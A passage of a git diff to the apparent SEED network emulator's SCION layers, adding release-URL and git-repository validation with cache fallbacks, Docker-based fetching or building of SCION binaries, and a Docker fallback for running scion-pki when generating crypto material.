'release'") + + if config.mode == "build": + if not config.git_repo_url: + raise KeyError("gitRepoUrl must be set for the mode 'build'") + if not config.checkout: + raise KeyError("'checkout' must be set for the mode 'build'") + self.__validateGitURL(config.git_repo_url) + + def __validateReleaseLocation(self, path: str): + """ + Check if local path exists OR URL is valid and reachable. + + IMPORTANT: + - If the SCION release is already cached in .scion_build_output/, do NOT fail just + because GitHub (or the internet) is temporarily unreachable. + """ + + # Local path: must exist + must be absolute + if path and self.__is_local_path(path): + if not os.path.exists(path): + raise ValueError("SCION local binary location is not valid.") + if not os.path.isabs(path): + raise ValueError("Absolute path required for the folder containing binaries") + return + + # URL: try reachability check, but do NOT hard-fail if cache exists + if self.__is_http_url(path): + cached_ok = False + + try: + m = re.search(r"/download/(v[^/]+)/", path) + if m: + v = m.group(1) # e.g. "v0.12.0" + cached_dir = os.path.join(os.getcwd(), f".scion_build_output/scion_binaries_{v}") + if os.path.isdir(cached_dir): + cached_ok = True + except Exception: + cached_ok = False + + try: + response = requests.head(path, allow_redirects=True, timeout=30) + if response.status_code >= 400: + if cached_ok: + logging.warning( + "SCION release URL not reachable, but cached binaries exist; continuing." + ) + return + raise Exception("SCION release url is valid but not reachable") + return + except requests.RequestException as e: + logging.error(e) + if cached_ok: + logging.warning( + "SCION release URL check failed, but cached binaries exist; continuing." + ) + return + raise Exception("SCION release url is valid but not reachable") + + raise ValueError("Release location is Neither a valid HTTP URL nor a local path") + + def __is_http_url(self, url: str) -> bool: + try: + result = urlparse(url) + return result.scheme in ("http", "https") and bool(result.netloc) + except ValueError: + return False + + def __is_local_path(self, path: str) -> bool: + return not self.__is_http_url(path) + + def __validateGitURL(self, url: str): + if not url.endswith(".git"): + raise ValueError("URL does not look like a Git repository (missing .git)") + git_service_url = f"{url}/info/refs?service=git-upload-pack" + try: + response = requests.get(git_service_url, timeout=10) + if not (response.status_code == 200 and "git-upload-pack" in response.text): + raise ValueError("SCION build repository not found (or not reachable)") + except requests.RequestException as e: + logging.error(e) + raise ValueError("Invalid SCION build repository (not reachable)") + + def __classifyGitCheckout(self, checkout: str) -> str: + if re.match(r"^[0-9a-fA-F]{40}$", checkout): + return "commit" + if re.match(r"^[\w.-]+$", checkout): + return "tag" + if re.match(r"^[\w/.-]+$", checkout): + return "branch" + return "unknown" + + def __generateGitCloneString(self, repo_url: str, checkout: str) -> str: + checkout_type = self.__classifyGitCheckout(checkout) + if checkout_type == "branch": + return f"git clone -b {checkout} {repo_url} scion" + elif checkout_type == "tag": + return f"git clone --branch {checkout} {repo_url} scion" + elif checkout_type == "commit": + return f"git clone {repo_url} scion && cd scion && git checkout {checkout}" + else: + raise ValueError("Invalid reference type. Must be 'branch', 'tag', or 'commit'.") + + def __generateBuild(self, spec: CheckoutSpecification) -> str: + if spec.mode == "release": + if not self.__is_local_path(spec.release_location): + if not os.path.isdir(f".scion_build_output/scion_binaries_{spec.version}"): + SCION_RELEASE_TEMPLATE = f"""FROM alpine +RUN apk add --no-cache wget tar +WORKDIR /app +RUN wget -qO- {spec.release_location} | tar xvz -C /app +""" + dockerfile = BuildtimeDockerFile(SCION_RELEASE_TEMPLATE) + container = ( + BuildtimeDockerImage(f"scion-release-fetch-container_{spec.version}") + .build(dockerfile) + .container() + ) + current_dir = os.getcwd() + output_dir = os.path.join(current_dir, f".scion_build_output/scion_binaries_{spec.version}") + container.entrypoint("sh").mountVolume(output_dir, "/build").run( + '-c "cp -r /app/* /build"' + ) + return output_dir + else: + return os.path.join(os.getcwd(), f".scion_build_output/scion_binaries_{spec.version}") + else: + return spec.release_location + + # build from source + if not os.path.isdir(f".scion_build_output/scion_binaries_{spec.checkout}"): + SCION_BUILD_TEMPLATE = f"""FROM golang:1.22-alpine +RUN apk add --no-cache git +RUN {self.__generateGitCloneString(spec.git_repo_url, spec.checkout)} +RUN cd scion && go mod tidy && CGO_ENABLED=0 go build -o bin ./router/... ./control/... ./dispatcher/... ./daemon/... ./scion/... ./scion-pki/... ./gateway/... +""" + dockerfile = BuildtimeDockerFile(SCION_BUILD_TEMPLATE) + container = BuildtimeDockerImage(f"scion-build-container-{spec.checkout}").build(dockerfile).container() + current_dir = os.getcwd() + output_dir = os.path.join(current_dir, f".scion_build_output/scion_binaries_{spec.checkout}") + container.entrypoint("sh").mountVolume(output_dir, "/build").run( + '-c "cp -r scion/bin/* /build"' + ) + return output_dir + + return os.path.join(os.getcwd(), f".scion_build_output/scion_binaries_{spec.checkout}") + + +class Scion(Layer, Graphable): + """SCION inter-AS link layer.""" + + __links: Dict[Tuple[IA, IA, str, str, LinkType], int] + __ix_links: Dict[Tuple[int, IA, IA, str, str, LinkType], Dict[str, Any]] + __if_ids_by_as = {} # Dict[IA, Set[int]] + + def __init__(self): + super().__init__() + self.__links = {} + self.__ix_links = {} + self.addDependency("ScionIsd", False, False) + + def getName(self) -> str: + return "Scion" + + @staticmethod + def _setIfId(ia: IA, ifid: int): + ifs = Scion.getIfIds(ia) + v = ifid in ifs + ifs.add(ifid) + Scion.__if_ids_by_as[ia] = ifs + return v + + @staticmethod + def getIfIds(ia: IA) -> Set[int]: + ifs = set() + if ia in Scion.__if_ids_by_as.keys(): + ifs = Scion.__if_ids_by_as[ia] + return ifs + + @staticmethod + def peekNextIfId(ia: IA) -> int: + ifs = Scion.getIfIds(ia) + if not ifs: + return 0 + last = Scion._fst_free_id(ifs) + return last + 1 + + @staticmethod + def _fst_free_id(ifs: Set[int]) -> int: + last = -1 + for i in ifs: + if i - last > 1: + return last + 1 + else: + last = i + return last + + @staticmethod + def getNextIfId(ia: IA) -> int: + ifs = Scion.getIfIds(ia) + if not ifs: + ifs.add(1) + ifs.add(0) + Scion.__if_ids_by_as[ia] = ifs + return 1 + + last = Scion._fst_free_id(ifs) + ifs.add(last + 1) + Scion.__if_ids_by_as[ia] = ifs + return last + 1 + + def addXcLink( + self, + a: Union[IA, Tuple[int, int]], + b: Union[IA, Tuple[int, int]], + linkType: LinkType, + count: int = 1, + a_router: str = "", + b_router: str = "", + ) -> "Scion": + a, b = IA(*a), IA(*b) + assert a.asn != b.asn, f"Cannot link as{a} to itself." + assert (a, b, a_router, b_router, linkType) not in self.__links, ( + f"Link between as{a} and as{b} of type {linkType} exists already." + ) + self.__links[(a, b, a_router, b_router, linkType)] = count + return self + + def addIxLink( + self, + ix: int, + a: Union[IA, Tuple[int, int]], + b: Union[IA, Tuple[int, int]], + linkType: LinkType, + count: int = 1, + a_router: str = "", + b_router: str = "", + **kwargs, + ) -> "Scion": + a, b = IA(*a), IA(*b) + assert a.asn != b.asn, f"Cannot link as{a} to itself." + assert (a, b, a_router, b_router, linkType) not in self.__links, ( + f"Link between as{a} and as{b} of type {linkType} at ix{ix} exists already." + ) + + key = (ix, a, b, a_router, b_router, linkType) + + if "if_ids" in kwargs: + ids = kwargs["if_ids"] + assert not Scion._setIfId(a, ids[0]), f"Interface ID {ids[0]} not unique for IA {a}" + assert not Scion._setIfId(b, ids[1]), f"Interface ID {ids[1]} not unique for IA {b}" + else: + ids = (Scion.getNextIfId(a), Scion.getNextIfId(b)) + + if key in self.__ix_links.keys(): + self.__ix_links[key]["count"] += count + else: + self.__ix_links[key] = {"count": count, "if_ids": set()} + + self.__ix_links[key]["if_ids"].add(ids) + return self + + def configure(self, emulator: Emulator) -> None: + reg = emulator.getRegistry() + base_layer: ScionBase = reg.get("seedemu", "layer", "Base") + assert issubclass(base_layer.__class__, ScionBase) + self._configure_links(reg, base_layer) + + def render(self, emulator: Emulator) -> None: + pass + + def _doCreateGraphs(self, emulator: Emulator) -> None: + self._log("Creating SCION graphs...") + graph = self._addGraph("Scion Connections", False) + + reg = emulator.getRegistry() + scionIsd_layer: ScionIsd = reg.get("seedemu", "layer", "ScionIsd") + + for (a, b, a_router, b_router, rel), count in self.__links.items(): + a_shape = "doublecircle" if scionIsd_layer.isCoreAs(a.isd, a.asn) else "circle" + b_shape = "doublecircle" if scionIsd_layer.isCoreAs(b.isd, b.asn) else "circle" + + if not graph.hasVertex(f"AS{a.asn}", f"ISD{a.isd}"): + graph.addVertex(f"AS{a.asn}", f"ISD{a.isd}", a_shape) + if not graph.hasVertex(f"AS{b.asn}", f"ISD{b.isd}"): + graph.addVertex(f"AS{b.asn}", f"ISD{b.isd}", b_shape) + + if rel == LinkType.Core: + for _ in range(count): + graph.addEdge(f"AS{a.asn}", f"AS{b.asn}", f"ISD{a.isd}", f"ISD{b.isd}", style="bold") + if rel == LinkType.Transit: + for _ in range(count): + graph.addEdge( + f"AS{a.asn}", + f"AS{b.asn}", + f"ISD{a.isd}", + f"ISD{b.isd}", + alabel="P", + blabel="C", + ) + if rel == LinkType.Peer: + for _ in range(count): + graph.addEdge( + f"AS{a.asn}", + f"AS{b.asn}", + f"ISD{a.isd}", + f"ISD{b.isd}", + style="dashed", + ) + + for (ix, a, b, a_router, b_router, rel), d in self.__ix_links.items(): + count = d["count"] + ifids = d["if_ids"] + assert count == len(ifids) + a_shape = "doublecircle" if scionIsd_layer.isCoreAs(a.isd, a.asn) else "circle" + b_shape = "doublecircle" if scionIsd_layer.isCoreAs(b.isd, b.asn) else "circle" + + if not graph.hasVertex(f"AS{a.asn}", f"ISD{a.isd}"): + graph.addVertex(f"AS{a.asn}", f"ISD{a.isd}", a_shape) + if not graph.hasVertex(f"AS{b.asn}", f"ISD{b.isd}"): + graph.addVertex(f"AS{b.asn}", f"ISD{b.isd}", b_shape) + + if rel == LinkType.Core: + for ids in ifids: + graph.addEdge( + f"AS{a.asn}", + f"AS{b.asn}", + f"ISD{a.isd}", + f"ISD{b.isd}", + label=f"IX{ix}", + style="bold", + alabel=f"#{ids[0]}", + blabel=f"#{ids[1]}", + ) + elif rel == LinkType.Transit: + for ids in ifids: + graph.addEdge( + f"AS{a.asn}", + f"AS{b.asn}", + f"ISD{a.isd}", + f"ISD{b.isd}", + label=f"IX{ix}", + alabel=f"P #{ids[0]}", + blabel=f"C #{ids[1]}", + ) + elif rel == LinkType.Peer: + for ids in ifids: + graph.addEdge( + f"AS{a.asn}", + f"AS{b.asn}", + f"ISD{a.isd}", + f"ISD{b.isd}", + f"IX{ix}", + style="dashed", + alabel=f"#{ids[0]}", + blabel=f"#{ids[1]}", + ) + else: + assert False, f"Invalid LinkType: {rel}" + + def print(self, indent: int = 0) -> str: + out = " " * indent + "ScionLayer:\n" + indent += 4 + + for (ix, a, b, a_router, b_router, rel), d in self.__ix_links.items(): + count = d["count"] + out += " " * indent + out += f"IX{ix}: AS{a}{'' if a_router == '' else '_' + a_router} -({rel})-> " + out += f"AS{b}{'' if b_router == '' else '_' + b_router}" + if count > 1: + out += f" ({count} times)" + out += "\n" + + for (a, b, a_router, b_router, rel), count in self.__links.items(): + out += " " * indent + out += f"XC: AS{a}{'' if a_router == '' else '_' + a_router} -({rel})-> " + out += f"AS{b}{'' if b_router == '' else '_' + b_router}" + if count > 1: + out += f" ({count} times)" + out += "\n" + + return out + + def _configure_links(self, reg: Registry, base_layer: ScionBase) -> None: + # cross-connect links + for (a, b, a_router, b_router, rel), count in self.__links.items(): + a_reg = ScopedRegistry(str(a.asn), reg) + b_reg = ScopedRegistry(str(b.asn), reg) + a_as = base_layer.getAutonomousSystem(a.asn) + b_as = base_layer.getAutonomousSystem(b.asn) + + if a_router == "" or b_router == "": + try: + a_router, b_router = self.__get_xc_routers(a.asn, a_reg, b.asn, b_reg) + except AssertionError: + assert False, f"cannot find XC to configure link as{a} --> as{b}" + else: + try: + a_router = a_reg.get("rnode", a_router) + except AssertionError: + assert False, f"cannot find router {a_router} in as{a}" + try: + b_router = b_reg.get("rnode", b_router) + except AssertionError: + assert False, f"cannot find router {b_router} in as{b}" + + a_ifaddr, a_net, _ = a_router.getCrossConnect(b.asn, b_router.getName()) + b_ifaddr, b_net, _ = b_router.getCrossConnect(a.asn, a_router.getName()) + assert a_net == b_net + net = reg.get("xc", "net", a_net) + a_addr = str(a_ifaddr.ip) + b_addr = str(b_ifaddr.ip) + + for _ in range(count): + self._log(f"add scion XC link: {a_addr} as{a} -({rel})-> {b_addr} as{b}") + self.__create_link(a_router, b_router, a, b, a_as, b_as, a_addr, b_addr, net, rel) + + # IX links + for (ix, a, b, a_router, b_router, rel), d in self.__ix_links.items(): + count = d["count"] + ix_reg = ScopedRegistry("ix", reg) + a_reg = ScopedRegistry(str(a.asn), reg) + b_reg = ScopedRegistry(str(b.asn), reg) + a_as = base_layer.getAutonomousSystem(a.asn) + b_as = base_layer.getAutonomousSystem(b.asn) + + ix_net = ix_reg.get("net", f"ix{ix}") + if a_router == "" or b_router == "": + a_routers = a_reg.getByType("rnode") + b_routers = b_reg.getByType("rnode") + else: + a_routers = [a_reg.get("rnode", a_router)] + b_routers = [b_reg.get("rnode", b_router)] + + try: + a_ixrouter, a_ixif = self.__get_ix_port(a_routers, ix_net) + except AssertionError: + assert False, f"cannot resolve scion peering: as{a} not in ix{ix}" + try: + b_ixrouter, b_ixif = self.__get_ix_port(b_routers, ix_net) + except AssertionError: + assert False, f"cannot resolve scion peering: as{a} not in ix{ix}" + + if "if_ids" in d: + self._log(f"add scion IX link: {a_ixif.getAddress()} AS{a} -({rel})-> {b_ixif.getAddress()} AS{b}") + for ids in d["if_ids"]: + self.__create_link( + a_ixrouter, + b_ixrouter, + a, + b, + a_as, + b_as, + str(a_ixif.getAddress()), + str(b_ixif.getAddress()), + ix_net, + rel, + if_ids=ids, + ) + else: + for _ in range(count): + self._log(f"add scion IX link: {a_ixif.getAddress()} AS{a} -({rel})-> {b_ixif.getAddress()} AS{b}") + self.__create_link( + a_ixrouter, + b_ixrouter, + a, + b, + a_as, + b_as, + str(a_ixif.getAddress()), + str(b_ixif.getAddress()), + ix_net, + rel, + ) + + @staticmethod + def __get_xc_routers(a: int, a_reg: ScopedRegistry, b: int, b_reg: ScopedRegistry) -> Tuple[Router, Router]: + for router in a_reg.getByType("brdnode"): + for peer, asn in router.getCrossConnects().keys(): + if asn == b and b_reg.has("brdnode", peer): + return (router, b_reg.get("brdnode", peer)) + assert False + + @staticmethod + def __get_ix_port(routers: ScopedRegistry, ix_net: Network) -> Tuple[Router, Interface]: + for router in routers: + for iface in router.getInterfaces(): + if iface.getNet() == ix_net: + return (router, iface) + assert False + + def __create_link( + self, + a_router: "ScionRouter", + b_router: "ScionRouter", + a_ia: IA, + b_ia: IA, + a_as: ScionAutonomousSystem, + b_as: ScionAutonomousSystem, + a_addr: str, + b_addr: str, + net: Network, + rel: LinkType, + if_ids=None, + ): + a_ifid = -1 + b_ifid = -1 + + if if_ids: + a_ifid = if_ids[0] + b_ifid = if_ids[1] + else: + a_ifid = Scion.getNextIfId(a_ia) + b_ifid = Scion.getNextIfId(b_ia) + + a_port = a_router.getNextPort() + b_port = b_router.getNextPort() + + a_core = "core" in a_as.getAsAttributes(a_ia.isd) + b_core = "core" in b_as.getAsAttributes(b_ia.isd) + + if a_core and b_core: + assert rel == LinkType.Core, f"Between Core ASes there can only be Core Links! {a_ia} -- {b_ia}" + + a_iface = { + "underlay": {"local": f"{a_addr}:{a_port}", "remote": f"{b_addr}:{b_port}"}, + "isd_as": str(b_ia), + "link_to": rel.to_json(a_core, True), + "mtu": net.getMtu(), + } + + b_iface = { + "underlay": {"local": f"{b_addr}:{b_port}", "remote": f"{a_addr}:{a_port}"}, + "isd_as": str(a_ia), + "link_to": rel.to_json(b_core, False), + "mtu": net.getMtu(), + } + + if rel == LinkType.Peer: + self._log("WARNING: As of February 2023 SCION peering links are not supported in upstream SCION") + a_iface["remote_interface_id"] = int(b_ifid) + b_iface["remote_interface_id"] = int(a_ifid) + + a_router.addScionInterface(int(a_ifid), a_iface) + b_router.addScionInterface(int(b_ifid), b_iface) diff --git a/seedemu/layers/ScionIsd.py b/seedemu/layers/ScionIsd.py index 515115a76..20b967448 100644 --- a/seedemu/layers/ScionIsd.py +++ b/seedemu/layers/ScionIsd.py @@ -1,248 +1,306 @@ -from __future__ import annotations -import subprocess -from collections import defaultdict -from os.path import join as pjoin -from tempfile import TemporaryDirectory -from typing import Dict, Iterable, List, Optional, Set, Tuple, Union - -from seedemu.core import Emulator, Layer, Node, ScionAutonomousSystem -from seedemu.core.ScionAutonomousSystem import IA -from seedemu.layers import ScionBase -from seedemu.layers.Scion import handleScionConfFile - - -class ScionIsd(Layer): # could be made a Customizable as well .. - """! - @brief SCION AS to ISD relationship layer. - - This layer configures the membership and status as core AS of SCION ASes in - SCION Isolation Domains (ISDs). In principle a SCION AS can be a member of - multiple ISDs simultaneously with different roles as core or non-core AS in - each ISD. This layer's interface reflects that fact by allowing flexible - assignment if ASNs to ISDs. In practice however, the current implementation - of SCION treats the same ASN in different ISDs as entirely unrelated ASes - [1]. Therefore, we restrict ASes to a single ISD for the moment. Assigning - an AS to multiple ISDs is detected as an error during rendering. - - [1] [Issue #4293: Overlapping ISDs](https://github.com/scionproto/scion/issues/4293) - """ - - __isd_core: Dict[int, Set[int]] # Core members (ASNs) - __isd_members: Dict[int, Set[int]] # Non-core members (ASNs) - __cert_issuer: Dict[IA, int] - - def __init__(self): - super().__init__() - self.__isd_core = defaultdict(set) - self.__isd_members = defaultdict(set) - self.__cert_issuer = {} - self.addDependency('Routing', False, False) - - def getName(self) -> str: - return "ScionIsd" - - def addIsdAs(self, isd: int, asn: int, is_core: bool = False) -> 'ScionIsd': - """! - @brief Add an AS to an ISD. - - @param isd ID of the ISD. - @param asn ASN of the AS which joins the ISD. - @param is_core Whether the AS becomes a core AS of the ISD. - - @returns self - """ - if is_core: - self.__isd_core[isd].add(asn) - else: - self.__isd_members[isd].add(asn) - - def addIsdAses(self, isd: int, core: Iterable[int], non_core: Iterable[int]) -> 'ScionIsd': - """! - @brief Add multiple ASes to an ISD. - - @param isd ID of the ISD. - @param core Set of ASes that will join as core ASes. - @param non_core Set of ASes that will join as non-core ASes. - - @returns self - """ - for asn in core: - self.__isd_core[isd].add(asn) - for asn in non_core: - self.__isd_members[isd].add(asn) - - def getAsIsds(self, asn: int) -> List[Tuple[int, bool]]: - """! - @brief Get the ISDs an AS belongs to. - - @returns Pairs of ISD ids and status as core AS in that ISD. - """ - isds = [(isd, True) for isd, ases in self.__isd_core.items() if asn in ases] - isds += [(isd, False) for isd, ases in self.__isd_members.items() if asn in ases] - return isds - - def isCoreAs(self, isd: int, asn: int) -> bool: - """! - @brief Check if an AS is a core AS in an ISD. - - @param isd ID of the ISD. - @param asn ASN of the AS. - - @returns True if the AS is a core AS in the ISD. - """ - return asn in self.__isd_core[isd] - - def setCertIssuer(self, as_: Union[IA, Tuple[int, int]], issuer: int) -> 'ScionIsd': - """! - @brief Set certificate issuer for a non-core AS. Ignored for core ASes. - - @param as_ AS for which to set the cert issuer. - @param issuer ASN of a SCION core as in the same ISD. - @return self - """ - self.__cert_issuer[IA(*as_)] = issuer - return self - - def getCertIssuer(self, as_: Union[IA, Tuple[int, int]]) -> Optional[Tuple[int, int]]: - """! - @brief Get the cert issuer for a SCION AS in a certain ISD. - - @param as_ for which to get the cert issuer. - @return ASN of the cert issuer or None if not set. - """ - return self.__cert_issuer.get(IA(*as_)) - - def configure(self, emulator: Emulator) -> None: - """! - @brief Set SCION AS attributes. - """ - reg = emulator.getRegistry() - base_layer: ScionBase = reg.get('seedemu', 'layer', 'Base') - assert issubclass(base_layer.__class__, ScionBase) - - for isd, core in self.__isd_core.items(): - for asn in core: - as_: ScionAutonomousSystem = base_layer.getAutonomousSystem(asn) - as_.setAsAttributes(isd, ['core', 'voting', 'authoritative', 'issuing']) - - def render(self, emulator: Emulator) -> None: - """! - @brief Generate crypto material and sign TRCs. - """ - reg = emulator.getRegistry() - base_layer: ScionBase = reg.get('seedemu', 'layer', 'Base') - assert issubclass(base_layer.__class__, ScionBase) - - with TemporaryDirectory(prefix="seed_scion") as tempdir: - self.__gen_scion_crypto(base_layer, tempdir) - for ((scope, type, name), obj) in reg.getAll().items(): - if type in ['rnode', 'csnode', 'hnode']: - node: Node = obj - asn = node.getAsn() - as_: ScionAutonomousSystem = base_layer.getAutonomousSystem(asn) - isds = self.getAsIsds(asn) - - assert len(isds) == 1, f"AS {hex(asn) if asn>65536 else asn} must be a member of exactly one ISD" - self.__provision_crypto(as_, *isds[0], node, tempdir) - - def print(self, indent: int = 0) -> str: - out = ' ' * indent - out += 'ScionIsdLayer:\n' - - indent += 4 - for isd, core in self.__isd_core.items(): - out += ' ' * indent - out += f'Core ASes of ISD{isd}: {core}\n' - - for isd, core in self.__isd_members.items(): - out += ' ' * indent - out += f'Non-Core ASes of ISD{isd}: {core}\n' - - return out - - def __gen_scion_crypto(self, base_layer: ScionBase, tempdir: str): - """Generate cryptographic material in a temporary directory on the host.""" - topofile = self.__gen_topofile(base_layer, tempdir) - self._log("Calling scion-pki") - try: - result = subprocess.run( - ["scion-pki", "testcrypto", "-t", topofile, "-o", tempdir, "--as-validity", "30d"], - stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True - ) - except FileNotFoundError: - assert False, "scion-pki not found in PATH" - - for line in result.stdout.split('\n'): - self._log(line) - assert result.returncode == 0, "scion-pki failed" - - def __gen_topofile(self, base_layer: ScionBase, tempdir: str) -> str: - """Generate a standard SCION .topo file representing the emulated network.""" - path = pjoin(tempdir, "seed.topo") - - with open(path, 'w') as f: - f.write("ASes:\n") - for asn in base_layer.getAsns(): - as_: ScionAutonomousSystem = base_layer.getAutonomousSystem(asn) - isds = self.getAsIsds(asn) - isd, is_core = isds[0] - assert len(isds) == 1, f"AS {strAsn} must be a member of exactly one ISD" - ia = IA(isd, asn) - - f.write(f' "{ia}": ') - attributes = [f"'{attrib}': true" for attrib in as_.getAsAttributes(isd)] - if not is_core: - assert (isd, asn) in self.__cert_issuer, f"non-core AS{ia} does not have a cert issuer in ISD{isd}" - issuer = self.__cert_issuer[(isd, asn)] - ia = IA(isd, issuer) - assert issuer in self.__isd_core[isd] and asn in self.__isd_members[isd] - attributes.append(f"'cert_issuer': {ia}") - - f.write("{{{}}}\n".format(", ".join(attributes))) - - return path - - def __provision_crypto(self, as_: ScionAutonomousSystem, isd: int, is_core: bool, node: Node, tempdir: str): - - asn = as_.getScionAsn() - - def copyFile(src: str, filename: str, subdir: str = None): - # Tempdir will be gone when imports are resolved, therefore we must use setFile - with open(src, 'rt', encoding='utf8') as file: - content = file.read() - # FIXME: The Docker compiler adds an extra newline in generated files - # (https://github.com/seed-labs/seed-emulator/issues/125). - # SCION does not accept PEM files with an extra newline, so we strip a newline here - # that is later added again. - if content.endswith('\n'): - content = content[:-1] - handleScionConfFile(node, filename, content, subdir) - - def myImport(name, subdir: str): - path = pjoin("crypto", subdir) - copyFile(pjoin(tempdir, f"AS{asn.getFileStr()}", path, name), - name, path) - - if is_core: - for kind in ["sensitive", "regular"]: - myImport(f"ISD{isd}-AS{asn.getFileStr()}.{kind}.crt", "voting") - myImport(f"{kind}-voting.key", "voting") - myImport(f"{kind}.tmpl", "voting") - for kind in ["root", "ca"]: - myImport(f"ISD{isd}-AS{asn.getFileStr()}.{kind}.crt", "ca") - myImport(f"cp-{kind}.key", "ca") - myImport(f"cp-{kind}.tmpl", "ca") - myImport(f"ISD{isd}-AS{asn.getFileStr()}.pem", "as") - myImport("cp-as.key", "as") - myImport("cp-as.tmpl", "as") - - #XXX(benthor): trcs need to be known for other isds as well - for isd in self.__isd_core.keys(): - trcname = f"ISD{isd}-B1-S1.trc" - copyFile(pjoin(tempdir, f"ISD{isd}", "trcs", trcname), - trcname, 'certs') - - # Master keys are generated only once per AS - key0, key1 = as_.getSecretKeys() - handleScionConfFile(node, 'master0.key', key0, 'keys') - handleScionConfFile(node, 'master1.key', key1, 'keys') +from __future__ import annotations +import subprocess +from collections import defaultdict +from os.path import join as pjoin +from tempfile import TemporaryDirectory +from typing import Dict, Iterable, List, Optional, Set, Tuple, Union +from seedemu.core import Emulator, Layer, Node, ScionAutonomousSystem +from seedemu.core.ScionAutonomousSystem import IA +from seedemu.layers import ScionBase +from seedemu.layers.Scion import handleScionConfFile + + +class ScionIsd(Layer): # could be made a Customizable as well .. + """! + @brief SCION AS to ISD relationship layer. + + This layer configures the membership and status as core AS of SCION ASes in + SCION Isolation Domains (ISDs). In principle a SCION AS can be a member of + multiple ISDs simultaneously with different roles as core or non-core AS in + each ISD. This layer's interface reflects that fact by allowing flexible + assignment if ASNs to ISDs. In practice however, the current implementation + of SCION treats the same ASN in different ISDs as entirely unrelated ASes + [1]. Therefore, we restrict ASes to a single ISD for the moment. Assigning + an AS to multiple ISDs is detected as an error during rendering. + + [1] [Issue #4293: Overlapping ISDs](https://github.com/scionproto/scion/issues/4293) + """ + + __isd_core: Dict[int, Set[int]] # Core members (ASNs) + __isd_members: Dict[int, Set[int]] # Non-core members (ASNs) + __cert_issuer: Dict[IA, int] + + def __init__(self): + super().__init__() + self.__isd_core = defaultdict(set) + self.__isd_members = defaultdict(set) + self.__cert_issuer = {} + self.addDependency('Routing', False, False) + + def getName(self) -> str: + return "ScionIsd" + + def addIsdAs(self, isd: int, asn: int, is_core: bool = False) -> 'ScionIsd': + """! + @brief Add an AS to an ISD. + + @param isd ID of the ISD. + @param asn ASN of the AS which joins the ISD. + @param is_core Whether the AS becomes a core AS of the ISD. + + @returns self + """ + if is_core: + self.__isd_core[isd].add(asn) + else: + self.__isd_members[isd].add(asn) + + def addIsdAses(self, isd: int, core: Iterable[int], non_core: Iterable[int]) -> 'ScionIsd': + """! + @brief Add multiple ASes to an ISD. + + @param isd ID of the ISD. + @param core Set of ASes that will join as core ASes. + @param non_core Set of ASes that will join as non-core ASes. + + @returns self + """ + for asn in core: + self.__isd_core[isd].add(asn) + for asn in non_core: + self.__isd_members[isd].add(asn) + + def getAsIsds(self, asn: int) -> List[Tuple[int, bool]]: + """! + @brief Get the ISDs an AS belongs to. + + @returns Pairs of ISD ids and status as core AS in that ISD. + """ + isds = [(isd, True) for isd, ases in self.__isd_core.items() if asn in ases] + isds += [(isd, False) for isd, ases in self.__isd_members.items() if asn in ases] + return isds + + def isCoreAs(self, isd: int, asn: int) -> bool: + """! + @brief Check if an AS is a core AS in an ISD. + + @param isd ID of the ISD. + @param asn ASN of the AS. + + @returns True if the AS is a core AS in the ISD. + """ + return asn in self.__isd_core[isd] + + def setCertIssuer(self, as_: Union[IA, Tuple[int, int]], issuer: int) -> 'ScionIsd': + """! + @brief Set certificate issuer for a non-core AS. Ignored for core ASes. + + @param as_ AS for which to set the cert issuer. + @param issuer ASN of a SCION core as in the same ISD. + @return self + """ + self.__cert_issuer[IA(*as_)] = issuer + return self + + def getCertIssuer(self, as_: Union[IA, Tuple[int, int]]) -> Optional[Tuple[int, int]]: + """! + @brief Get the cert issuer for a SCION AS in a certain ISD. + + @param as_ for which to get the cert issuer. + @return ASN of the cert issuer or None if not set. + """ + return self.__cert_issuer.get(IA(*as_)) + + def configure(self, emulator: Emulator) -> None: + """! + @brief Set SCION AS attributes. + """ + reg = emulator.getRegistry() + base_layer: ScionBase = reg.get('seedemu', 'layer', 'Base') + assert issubclass(base_layer.__class__, ScionBase) + + for isd, core in self.__isd_core.items(): + for asn in core: + as_: ScionAutonomousSystem = base_layer.getAutonomousSystem(asn) + as_.setAsAttributes(isd, ['core', 'voting', 'authoritative', 'issuing']) + + def render(self, emulator: Emulator) -> None: + """! + @brief Generate crypto material and sign TRCs. + """ + reg = emulator.getRegistry() + base_layer: ScionBase = reg.get('seedemu', 'layer', 'Base') + assert issubclass(base_layer.__class__, ScionBase) + + with TemporaryDirectory(prefix="seed_scion") as tempdir: + self.__gen_scion_crypto(base_layer, tempdir) + for ((scope, type, name), obj) in reg.getAll().items(): + if type in ['rnode', 'csnode', 'hnode']: + node: Node = obj + asn = node.getAsn() + as_: ScionAutonomousSystem = base_layer.getAutonomousSystem(asn) + isds = self.getAsIsds(asn) + + assert len(isds) == 1, f"AS {hex(asn) if asn>65536 else asn} must be a member of exactly one ISD" + self.__provision_crypto(as_, *isds[0], node, tempdir) + + def print(self, indent: int = 0) -> str: + out = ' ' * indent + out += 'ScionIsdLayer:\n' + + indent += 4 + for isd, core in self.__isd_core.items(): + out += ' ' * indent + out += f'Core ASes of ISD{isd}: {core}\n' + + for isd, core in self.__isd_members.items(): + out += ' ' * indent + out += f'Non-Core ASes of ISD{isd}: {core}\n' + + return out + + def __gen_scion_crypto(self, base_layer: ScionBase, tempdir: str): + """Generate cryptographic material in a temporary directory on the host.""" + topofile = self.__gen_topofile(base_layer, tempdir) + self._log("Calling scion-pki") + + try: + result = subprocess.run( + ["scion-pki", "testcrypto", "-t", topofile, "-o", tempdir, "--as-validity", "30d"], + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + check=False, + ) + except FileNotFoundError: + # Windows host cannot execute Linux scion-pki -> run inside Docker. + if shutil.which("docker") is None: + raise AssertionError("scion-pki not found in PATH and docker is not available") + + topo_name = os.path.basename(topofile) + + # Prefer a locally existing image first; otherwise fall back to upstream. + image_candidates = [ + "scion-release-fetch-container_v0.12.0", + "scionproto/scion:v0.12.0", + "scionproto/scion:latest", + ] + image = None + for img in image_candidates: + inspect = subprocess.run( + ["docker", "image", "inspect", img], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + check=False, + ) + if inspect.returncode == 0: + image = img + break + if image is None: + image = "scionproto/scion:latest" + + # Run scion-pki inside the container. We mount tempdir to /work so + # both topology file and output directory are available inside Docker. + cmd = ( + "set -e; " + "TOPO=/work/" + topo_name + "; " + "if command -v scion-pki >/dev/null 2>&1; then " + " scion-pki testcrypto -t \"$TOPO\" -o /work --as-validity 30d; " + "elif [ -x /app/bin/scion-pki ]; then " + " /app/bin/scion-pki testcrypto -t \"$TOPO\" -o /work --as-validity 30d; " + "elif [ -x /bin/scion-pki ]; then " + 